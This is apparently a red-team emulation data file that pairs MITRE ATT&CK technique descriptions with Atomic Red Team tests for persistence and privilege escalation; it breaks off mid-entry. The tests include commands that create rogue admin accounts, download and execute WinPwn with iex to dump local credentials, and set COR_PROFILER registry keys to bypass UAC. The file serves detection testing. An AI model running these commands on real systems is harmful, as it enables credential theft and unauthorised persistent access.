marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--f9e9365a-9ca2-4d9c-8e7c-050d73d1101a type: attack-pattern created: '2019-12-12T14:59:58.168Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1505.001 url: https://attack.mitre.org/techniques/T1505/001 - source_name: NetSPI Startup Stored Procedures url: https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/ description: 'Sutherland, S. (2016, March 7). Maintaining Persistence via SQL Server – Part 1: Startup Stored Procedures. Retrieved July 8, 2019.' - source_name: Kaspersky MSSQL Aug 2019 url: https://securelist.com/malicious-tasks-in-ms-sql-server/92167/ description: 'Plakhov, A., Sitchikhin, D. (2019, August 22). Agent 1433: remote attack on Microsoft SQL Server. Retrieved September 4, 2019.' - source_name: Microsoft xp_cmdshell 2017 url: https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql?view=sql-server-2017 description: Microsoft. (2017, March 15). xp_cmdshell (Transact-SQL). Retrieved September 9, 2019. - source_name: Microsoft CLR Integration 2017 url: https://docs.microsoft.com/en-us/sql/relational-databases/clr-integration/common-language-runtime-integration-overview?view=sql-server-2017 description: Microsoft. (2017, June 19). Common Language Runtime Integration. Retrieved July 8, 2019. - source_name: NetSPI SQL Server CLR url: https://blog.netspi.com/attacking-sql-server-clr-assemblies/ description: Sutherland, S. (2017, July 13). Attacking SQL Server CLR Assemblies. Retrieved July 8, 2019. modified: '2021-04-29T14:49:39.188Z' name: SQL Stored Procedures description: "Adversaries may abuse SQL stored procedures to establish persistent access to systems. SQL Stored Procedures are code that can be saved and reused so that database users do not waste time rewriting frequently used SQL queries. Stored procedures can be invoked via SQL statements to the database using the procedure name or via defined events (e.g. when a SQL server application is started/restarted).\n\nAdversaries may craft malicious stored procedures that can provide a persistence mechanism in SQL database servers.(Citation: NetSPI Startup Stored Procedures)(Citation: Kaspersky MSSQL Aug 2019) To execute operating system commands through SQL syntax the adversary may have to enable additional functionality, such as xp_cmdshell for MSSQL Server.(Citation: NetSPI Startup Stored Procedures)(Citation: Kaspersky MSSQL Aug 2019)(Citation: Microsoft xp_cmdshell 2017) \n\nMicrosoft SQL Server can enable common language runtime (CLR) integration. With CLR integration enabled, application developers can write stored procedures using any .NET framework language (e.g. VB .NET, C#, etc.).(Citation: Microsoft CLR Integration 2017) Adversaries may craft or modify CLR assemblies that are linked to stored procedures since these CLR assemblies can be made to execute arbitrary commands.(Citation: NetSPI SQL Server CLR) " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence x_mitre_detection: 'On a MSSQL Server, consider monitoring for xp_cmdshell usage.(Citation: NetSPI Startup Stored Procedures) Consider enabling audit features that can log malicious startup activities.' x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Application Log: Application Log Content' x_mitre_permissions_required: - Administrator - SYSTEM - root spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1556.004: technique: x_mitre_platforms: - Network x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--fa44a152-ac48-441e-a524-dd7b04b8adcd type: attack-pattern created: '2020-10-19T17:58:04.155Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1556.004 url: https://attack.mitre.org/techniques/T1556/004 - source_name: Mandiant - Synful Knock url: https://www.mandiant.com/resources/synful-knock-acis description: Bill Hau, Tony Lee, Josh Homan. (2015, September 15). SYNful Knock - A Cisco router implant - Part I. Retrieved October 19, 2020. - source_name: Cisco IOS Software Integrity Assurance - Image File Verification url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#7 description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Image File Verification. Retrieved October 19, 2020. - source_name: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#13 description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020. modified: '2022-05-11T14:00:00.188Z' name: Network Device Authentication description: |- Adversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to hard code a password in the operating system, thus bypassing of native authentication mechanisms for local accounts on network devices. [Modify System Image](https://attack.mitre.org/techniques/T1601) may include implanted code to the operating system for network devices to provide access for adversaries using a specific password. The modification includes a specific password which is implanted in the operating system image via the patch. Upon authentication attempts, the inserted code will first check to see if the user input is the password. If so, access is granted. Otherwise, the implanted code will pass the credentials on for verification of potentially valid credentials.(Citation: Mandiant - Synful Knock) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: credential-access - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: persistence x_mitre_detection: |- Consider verifying the checksum of the operating system file and verifying the image of the operating system in memory.(Citation: Cisco IOS Software Integrity Assurance - Image File Verification)(Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification) Detection of this behavior may be difficult, detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601). x_mitre_is_subtechnique: true x_mitre_version: '2.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'File: File Modification' x_mitre_permissions_required: - Administrator spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1574.004: technique: modified: '2023-10-31T14:00:00.188Z' name: Dylib Hijacking description: |- Adversaries may execute their own payloads by placing a malicious dynamic library (dylib) with an expected name in a path a victim application searches at runtime. The dynamic loader will try to find the dylibs based on the sequential order of the search paths. Paths to dylibs may be prefixed with @rpath, which allows developers to use relative paths to specify an array of search paths used at runtime based on the location of the executable. Additionally, if weak linking is used, such as the LC_LOAD_WEAK_DYLIB function, an application will still execute even if an expected dylib is not present. Weak linking enables developers to run an application on multiple macOS versions as new APIs are added. Adversaries may gain execution by inserting malicious dylibs with the name of the missing dylib in the identified path.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation: Wardle Dylib Hijacking OSX 2015)(Citation: Github EmpireProject HijackScanner)(Citation: Github EmpireProject CreateHijacker Dylib) Dylibs are loaded into an application's address space allowing the malicious dylib to inherit the application's privilege level and resources. Based on the application, this could result in privilege escalation and uninhibited network access. This method may also evade detection from security products since the execution is masked under a legitimate process.(Citation: Writing Bad Malware for OSX)(Citation: wardle artofmalware volume1)(Citation: MalwareUnicorn macOS Dylib Injection MachO) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_attack_spec_version: 2.1.0 x_mitre_deprecated: false x_mitre_detection: "Monitor file systems for moving, renaming, replacing, or modifying dylibs. Changes in the set of dylibs that are loaded by a process (compared to past behavior) that do not correlate with known software, patches, etc., are suspicious. Check the system for multiple dylibs with the same name and monitor which versions have historically been loaded into a process. \n\nRun path dependent libraries can include LC_LOAD_DYLIB, LC_LOAD_WEAK_DYLIB, and LC_RPATH. Other special keywords are recognized by the macOS loader are @rpath, @loader_path, and @executable_path.(Citation: Apple Developer Doco Archive Run-Path) These loader instructions can be examined for individual binaries or frameworks using the otool -l command. Objective-See's Dylib Hijacking Scanner can be used to identify applications vulnerable to dylib hijacking.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation: Github EmpireProject HijackScanner)" x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_platforms: - macOS x_mitre_version: '2.0' x_mitre_data_sources: - 'Module: Module Load' - 'File: File Creation' - 'File: File Modification' x_mitre_defense_bypassed: - Application Control type: attack-pattern id: attack-pattern--fc742192-19e3-466c-9eb5-964a97b29490 created: '2020-03-16T15:23:30.896Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1574/004 external_id: T1574.004 - source_name: MalwareUnicorn macOS Dylib Injection MachO description: Amanda Rousseau. (2020, April 4). MacOS Dylib Injection Workshop. Retrieved March 29, 2021. url: https://malwareunicorn.org/workshops/macos_dylib_injection.html#5 - source_name: Apple Developer Doco Archive Run-Path description: Apple Inc.. (2012, July 7). Run-Path Dependent Libraries. Retrieved March 31, 2021. url: https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/RunpathDependentLibraries.html - source_name: Wardle Dylib Hijacking OSX 2015 description: Patrick Wardle. (2015, March 1). Dylib Hijacking on OS X. Retrieved March 29, 2021. url: https://www.virusbulletin.com/uploads/pdf/magazine/2015/vb201503-dylib-hijacking.pdf - source_name: Writing Bad Malware for OSX description: Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved July 10, 2017. url: https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf - source_name: Wardle Dylib Hijack Vulnerable Apps description: Patrick Wardle. (2019, July 2). Getting Root with Benign AppStore Apps. Retrieved March 31, 2021. url: https://objective-see.com/blog/blog_0x46.html - source_name: wardle artofmalware volume1 description: 'Patrick Wardle. (2020, August 5). The Art of Mac Malware Volume 0x1: Analysis. Retrieved March 19, 2021.' url: https://taomm.org/vol1/pdfs.html - source_name: Github EmpireProject HijackScanner description: Wardle, P., Ross, C. (2017, September 21). Empire Project Dylib Hijack Vulnerability Scanner. Retrieved April 1, 2021. url: https://github.com/EmpireProject/Empire/blob/master/lib/modules/python/situational_awareness/host/osx/HijackScanner.py - source_name: Github EmpireProject CreateHijacker Dylib description: Wardle, P., Ross, C. (2018, April 8). EmpireProject Create Dylib Hijacker. Retrieved April 1, 2021. url: https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/persistence/osx/CreateHijacker.py object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 spec_version: '2.1' atomic_tests: [] T1078.003: technique: modified: '2023-07-14T13:04:04.591Z' name: 'Valid Accounts: Local Accounts' description: "Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service.\n\nLocal Accounts may also be abused to elevate privileges and harvest credentials through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). Password reuse may allow the abuse of local accounts across a set of machines on a network for the purposes of Privilege Escalation and Lateral Movement. " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: initial-access x_mitre_deprecated: false x_mitre_detection: Perform regular audits of local system accounts to detect accounts that may have been created by an adversary for persistence. Look for suspicious account behavior, such as accounts logged in at odd times or outside of business hours. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Linux - macOS - Windows - Containers - Network x_mitre_version: '1.4' x_mitre_data_sources: - 'Logon Session: Logon Session Creation' - 'Logon Session: Logon Session Metadata' - 'User Account: User Account Authentication' x_mitre_permissions_required: - Administrator - User type: attack-pattern id: attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2 created: '2020-03-13T20:26:46.695Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1078/003 external_id: T1078.003 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1078.003 atomic_tests: - name: Create local account with admin privileges auto_generated_guid: a524ce99-86de-4db6-b4f9-e08f35a47a15 description: After execution the new account will be active and added to the Administrators group supported_platforms: - windows input_arguments: password: description: Password for art-test user type: string default: "-4RTisCool!-321" executor: command: |- net user art-test /add net user art-test #{password} net localgroup administrators art-test /add cleanup_command: |- net localgroup administrators art-test /delete >nul 2>&1 net user art-test /delete >nul 2>&1 name: command_prompt elevation_required: true - name: Create local account with admin privileges - MacOS auto_generated_guid: f1275566-1c26-4b66-83e3-7f9f7f964daa description: After execution the new account will be active and added to the Administrators group supported_platforms: - macos executor: command: |- dscl . -create /Users/AtomicUser dscl . -create /Users/AtomicUser UserShell /bin/bash dscl . -create /Users/AtomicUser RealName "Atomic User" dscl . -create /Users/AtomicUser UniqueID 503 dscl . -create /Users/AtomicUser PrimaryGroupID 503 dscl . -create /Users/AtomicUser NFSHomeDirectory /Local/Users/AtomicUser dscl . -passwd /Users/AtomicUser mySecretPassword dscl . -append /Groups/admin GroupMembership AtomicUser cleanup_command: sudo dscl . -delete /Users/AtomicUser name: bash elevation_required: true - name: Create local account with admin privileges using sysadminctl utility - MacOS auto_generated_guid: 191db57d-091a-47d5-99f3-97fde53de505 description: After execution the new account will be active and added to the Administrators group supported_platforms: - macos executor: command: sysadminctl interactive -addUser art-tester -fullName ARTUser -password !pass123! -admin cleanup_command: sysadminctl interactive -deleteUser art-tester name: bash elevation_required: true - name: Enable root account using dsenableroot utility - MacOS auto_generated_guid: 20b40ea9-0e17-4155-b8e6-244911a678ac description: After execution the current/new user will have root access supported_platforms: - macos executor: command: |- dsenableroot #current user dsenableroot -u art-tester -p art-tester -r art-root #new user cleanup_command: |- dsenableroot -d #current user dsenableroot -d -u art-tester -p art-tester #new user name: bash elevation_required: true - name: Add a new/existing user to the admin group using dseditgroup utility - macOS auto_generated_guid: 433842ba-e796-4fd5-a14f-95d3a1970875 description: After execution the current/new user will be added to the Admin group supported_platforms: - macos executor: command: dseditgroup -o edit -a art-user -t user admin cleanup_command: dseditgroup -o edit -d art-user -t user admin name: bash elevation_required: true - name: WinPwn - Loot local Credentials - powerhell kittie auto_generated_guid: 9e9fd066-453d-442f-88c1-ad7911d32912 description: Loot local Credentials - powerhell kittie technique via function of WinPwn supported_platforms: - windows executor: command: |- $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t' iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') obfuskittiedump -consoleoutput -noninteractive name: powershell elevation_required: true - name: WinPwn - Loot local Credentials - Safetykatz auto_generated_guid: e9fdb899-a980-4ba4-934b-486ad22e22f4 description: Loot local Credentials - Safetykatz technique via function of WinPwn supported_platforms: - windows executor: command: |- $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t' iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') safedump -consoleoutput -noninteractive name: powershell elevation_required: true - name: Create local account (Linux) auto_generated_guid: 02a91c34-8a5b-4bed-87af-501103eb5357 description: 'An adversary may wish to create an account with admin privileges to work with. In this test we create a "art" user with the password art, switch to art, execute whoami, exit and delete the art user. ' supported_platforms: - linux executor: name: bash elevation_required: true command: | password=$(openssl passwd -1 art) ([ "$(uname)" = 'Linux' ] && useradd --shell /bin/bash --create-home --password $password art) || (pw useradd art -g wheel -s /bin/sh && (echo $password | pw mod user testuser1 -h 0)) su art -c "whoami; exit" cleanup_command: '[ "$(uname)" = ''Linux'' ] && userdel art -rf || rmuser -y art ' - name: Reactivate a locked/expired account (Linux) auto_generated_guid: d2b95631-62d7-45a3-aaef-0972cea97931 description: "A system administrator may have locked and expired a user account rather than deleting it. \"the user is coming back, at some stage\" An adversary may reactivate a inactive account in an attempt to appear legitimate. \n\nIn this test we create a \"art\" user with the password art, lock and expire the account, try to su to art and fail, unlock and renew the account, su successfully, then delete the account.\n" supported_platforms: - linux executor: name: bash elevation_required: true command: | useradd --shell /bin/bash --create-home --password $(openssl passwd -1 art) art usermod --lock art usermod --expiredate "1" art usermod --unlock art usermod --expiredate "99999" art su art whoami exit cleanup_command: "userdel -r art \n" - name: Reactivate a locked/expired account (FreeBSD) auto_generated_guid: '09e3380a-fae5-4255-8b19-9950be0252cf' description: "A system administrator may have locked and expired a user account rather than deleting it. \"the user is coming back, at some stage\" An adversary may reactivate a inactive account in an attempt to appear legitimate. \n\nIn this test we create a \"art\" user with the password art, lock and expire the account, try to su to art and fail, unlock and renew the account, su successfully, then delete the account.\n" supported_platforms: - linux executor: name: sh elevation_required: true command: | pw useradd art -g wheel -s /bin/sh echo $(openssl passwd -1 art) | pw mod user testuser1 -h 0 pw lock art pw usermod art -e +1d pw unlock art pw user mod art -e +99d su art whoami exit cleanup_command: "rmuser -y art \n" - name: Login as nobody (Linux) auto_generated_guid: 3d2cd093-ee05-41bd-a802-59ee5c301b85 description: 'An adversary may try to re-purpose a system account to appear legitimate. In this test change the login shell of the nobody account, change its password to nobody, su to nobody, exit, then reset nobody''s shell to /usr/sbin/nologin. ' supported_platforms: - linux executor: name: bash elevation_required: true command: "cat /etc/passwd |grep nobody \n# -> nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\nchsh --shell /bin/bash nobody\nusermod --password $(openssl passwd -1 nobody) nobody\nsu nobody\nwhoami\nexit\n" cleanup_command: "chsh --shell /usr/sbin/nologin nobody\ncat /etc/passwd |grep nobody \n# -> nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n" - name: Login as nobody (freebsd) auto_generated_guid: 16f6374f-7600-459a-9b16-6a88fd96d310 description: 'An adversary may try to re-purpose a system account to appear legitimate. In this test change the login shell of the nobody account, change its password to nobody, su to nobody, exit, then reset nobody''s shell to /usr/sbin/nologin. ' supported_platforms: - linux executor: name: sh elevation_required: true command: "cat /etc/passwd |grep nobody \n# -> nobody:x:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin\npw usermod nobody -s /bin/sh\necho $(openssl passwd -1 art) | pw mod user nobody -h 0\nsu nobody\nwhoami\nexit\n" cleanup_command: | pw usermod nobody -s /usr/sbin/nologin cat /etc/passwd |grep nobody # -> nobody:*:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin - name: Use PsExec to elevate to NT Authority\SYSTEM account auto_generated_guid: 6904235f-0f55-4039-8aed-41c300ff7733 description: "PsExec is a powerful tool most known for its remote management capability. However, it can also be used to run processes as the local system account.\n\nThe local system account is a default windows account which has unrestricted access to all system resources.\n\nUpon successful execution, PsExec.exe will spawn a command prompt which will run 'whoami' as the local system account and then exit. \n" supported_platforms: - windows dependency_executor_name: powershell dependencies: - description: 'PsExec tool from Sysinternals must exist in the ExternalPayloads directory ' prereq_command: 'if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe") { exit 0 } else { exit 1 } ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip" Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip" "PathToAtomicsFolder\..\ExternalPayloads\PsTools" -Force Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\PsTools\PsExec.exe" "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" -Force executor: name: command_prompt elevation_required: true command: '"PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" -accepteula -s %COMSPEC% /c whoami ' T1574.012: technique: x_mitre_platforms: - Windows x_mitre_domains: - enterprise-attack x_mitre_contributors: - Jesse Brown, Red Canary object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--ffeb0780-356e-4261-b036-cfb6bd234335 type: attack-pattern created: '2020-06-24T22:30:55.843Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1574.012 url: https://attack.mitre.org/techniques/T1574/012 - source_name: Microsoft Profiling Mar 2017 url: https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/profiling/profiling-overview description: Microsoft. (2017, March 30). Profiling Overview. Retrieved June 24, 2020. - source_name: Microsoft COR_PROFILER Feb 2013 url: https://docs.microsoft.com/en-us/previous-versions/dotnet/netframework-4.0/ee471451(v=vs.100) description: Microsoft. (2013, February 4). Registry-Free Profiler Startup and Attach. Retrieved June 24, 2020. - source_name: RedCanary Mockingbird May 2020 url: https://redcanary.com/blog/blue-mockingbird-cryptominer/ description: Lambert, T. (2020, May 7). Introducing Blue Mockingbird. Retrieved May 26, 2020. - source_name: Red Canary COR_PROFILER May 2020 url: https://redcanary.com/blog/cor_profiler-for-persistence/ description: Brown, J. (2020, May 7). Detecting COR_PROFILER manipulation for persistence. Retrieved June 24, 2020. - source_name: Almond COR_PROFILER Apr 2019 url: https://offsec.almond.consulting/UAC-bypass-dotnet.html description: Almond. (2019, April 30). UAC bypass via elevated .NET applications. Retrieved June 24, 2020. - source_name: GitHub OmerYa Invisi-Shell url: https://github.com/OmerYa/Invisi-Shell description: Yair, O. (2019, August 19). Invisi-Shell. Retrieved June 24, 2020. - source_name: subTee .NET Profilers May 2017 url: https://web.archive.org/web/20170720041203/http://subt0x10.blogspot.com/2017/05/subvert-clr-process-listing-with-net.html description: Smith, C. (2017, May 18). Subvert CLR Process Listing With .NET Profilers. Retrieved June 24, 2020. modified: '2022-04-25T14:00:00.188Z' name: 'Hijack Execution Flow: COR_PROFILER' description: |- Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profilers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013) The COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.(Citation: Microsoft COR_PROFILER Feb 2013) Adversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)) if the victim .NET process executes at a higher permission level, as well as to hook and [Impair Defenses](https://attack.mitre.org/techniques/T1562) provided by .NET processes.(Citation: RedCanary Mockingbird May 2020)(Citation: Red Canary COR_PROFILER May 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: GitHub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers May 2017) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_detection: 'For detecting system and user scope abuse of the COR_PROFILER, monitor the Registry for changes to COR_ENABLE_PROFILING, COR_PROFILER, and COR_PROFILER_PATH that correspond to system and user environment variables that do not correlate to known developer tools. Extra scrutiny should be placed on suspicious modification of these Registry keys by command line tools like wmic.exe, setx.exe, and [Reg](https://attack.mitre.org/software/S0075), monitoring for command-line arguments indicating a change to COR_PROFILER variables may aid in detection. For system, user, and process scope abuse of the COR_PROFILER, monitor for new suspicious unmanaged profiling DLLs loading into .NET processes shortly after the CLR causing abnormal process behavior.(Citation: Red Canary COR_PROFILER May 2020) Consider monitoring for DLL files that are associated with COR_PROFILER environment variables.' x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Process: Process Creation' - 'Windows Registry: Windows Registry Key Modification' - 'Module: Module Load' - 'Command: Command Execution' x_mitre_permissions_required: - User - Administrator spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 identifier: T1574.012 atomic_tests: - name: User scope COR_PROFILER auto_generated_guid: 9d5f89dc-c3a5-4f8a-a4fc-a6ed02e7cb5a description: | Creates user scope environment variables and CLSID COM object to enable a .NET profiler (COR_PROFILER). The unmanaged profiler DLL (`T1574.012x64.dll`) executes when the CLR is loaded by the Event Viewer process. Additionally, the profiling DLL will inherit the integrity level of Event Viewer bypassing UAC and executing `notepad.exe` with high integrity. If the account used is not a local administrator the profiler DLL will still execute each time the CLR is loaded by a process, however, the notepad process will not execute with high integrity. Reference: https://redcanary.com/blog/cor_profiler-for-persistence/ supported_platforms: - windows input_arguments: file_name: description: unmanaged profiler DLL type: path default: PathToAtomicsFolder\T1574.012\bin\T1574.012x64.dll clsid_guid: description: custom clsid guid type: string default: "{09108e71-974c-4010-89cb-acf471ae9e2c}" dependency_executor_name: powershell dependencies: - description: '"#{file_name}" must be present ' prereq_command: 'if (Test-Path "#{file_name}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{file_name}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1574.012/bin/T1574.012x64.dll" -OutFile "#{file_name}" executor: command: | Write-Host "Creating registry keys in HKCU:Software\Classes\CLSID\#{clsid_guid}" -ForegroundColor Cyan New-Item -Path "HKCU:\Software\Classes\CLSID\#{clsid_guid}\InprocServer32" -Value "#{file_name}" -Force | Out-Null New-ItemProperty -Path HKCU:\Environment -Name "COR_ENABLE_PROFILING" -PropertyType String -Value "1" -Force | Out-Null New-ItemProperty -Path HKCU:\Environment -Name "COR_PROFILER" -PropertyType String -Value "#{clsid_guid}" -Force | Out-Null New-ItemProperty -Path HKCU:\Environment -Name "COR_PROFILER_PATH" -PropertyType String -Value "#{file_name}" -Force | Out-Null Write-Host "executing eventvwr.msc" -ForegroundColor Cyan START MMC.EXE EVENTVWR.MSC cleanup_command: "Remove-Item -Path \"HKCU:\\Software\\Classes\\CLSID\\#{clsid_guid}\" -Recurse -Force -ErrorAction Ignore \nRemove-ItemProperty -Path HKCU:\\Environment -Name \"COR_ENABLE_PROFILING\" -Force -ErrorAction Ignore | Out-Null\nRemove-ItemProperty -Path HKCU:\\Environment -Name \"COR_PROFILER\" -Force -ErrorAction Ignore | Out-Null\nRemove-ItemProperty -Path HKCU:\\Environment -Name \"COR_PROFILER_PATH\" -Force -ErrorAction Ignore | Out-Null\n" name: powershell - name: System Scope COR_PROFILER auto_generated_guid: f373b482-48c8-4ce4-85ed-d40c8b3f7310 description: | Creates system scope environment variables to enable a .NET profiler (COR_PROFILER). System scope environment variables require a restart to take effect. The unmanaged profiler DLL (T1574.012x64.dll`) executes when the CLR is loaded by any process. Additionally, the profiling DLL will inherit the integrity level of Event Viewer bypassing UAC and executing `notepad.exe` with high integrity. If the account used is not a local administrator the profiler DLL will still execute each time the CLR is loaded by a process, however, the notepad process will not execute with high integrity. Reference: https://redcanary.com/blog/cor_profiler-for-persistence/ supported_platforms: - windows input_arguments: file_name: description: unmanaged profiler DLL type: path default: PathToAtomicsFolder\T1574.012\bin\T1574.012x64.dll clsid_guid: description: custom clsid guid type: string default: "{09108e71-974c-4010-89cb-acf471ae9e2c}" dependency_executor_name: powershell dependencies: - description: '"#{file_name}" must be present ' prereq_command: 'if (Test-Path "#{file_name}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{file_name}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1574.012/bin/T1574.012x64.dll" -OutFile "#{file_name}" executor: command: | Write-Host "Creating system environment variables" -ForegroundColor Cyan New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name "COR_ENABLE_PROFILING" -PropertyType String -Value "1" -Force | Out-Null New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name "COR_PROFILER" -PropertyType String -Value "#{clsid_guid}" -Force | Out-Null New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name "COR_PROFILER_PATH" -PropertyType String -Value "#{file_name}" -Force | Out-Null cleanup_command: | Remove-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name "COR_ENABLE_PROFILING" -Force -ErrorAction Ignore | Out-Null Remove-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name "COR_PROFILER" -Force -ErrorAction Ignore | Out-Null Remove-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name "COR_PROFILER_PATH" -Force -ErrorAction Ignore | Out-Null name: powershell elevation_required: true - name: Registry-free process scope COR_PROFILER auto_generated_guid: 79d57242-bbef-41db-b301-9d01d9f6e817 description: | Creates process scope environment variables to enable a .NET profiler (COR_PROFILER) without making changes to the registry. The unmanaged profiler DLL (`T1574.012x64.dll`) executes when the CLR is loaded by PowerShell. Reference: https://redcanary.com/blog/cor_profiler-for-persistence/ supported_platforms: - windows input_arguments: file_name: description: unamanged profiler DLL type: path default: 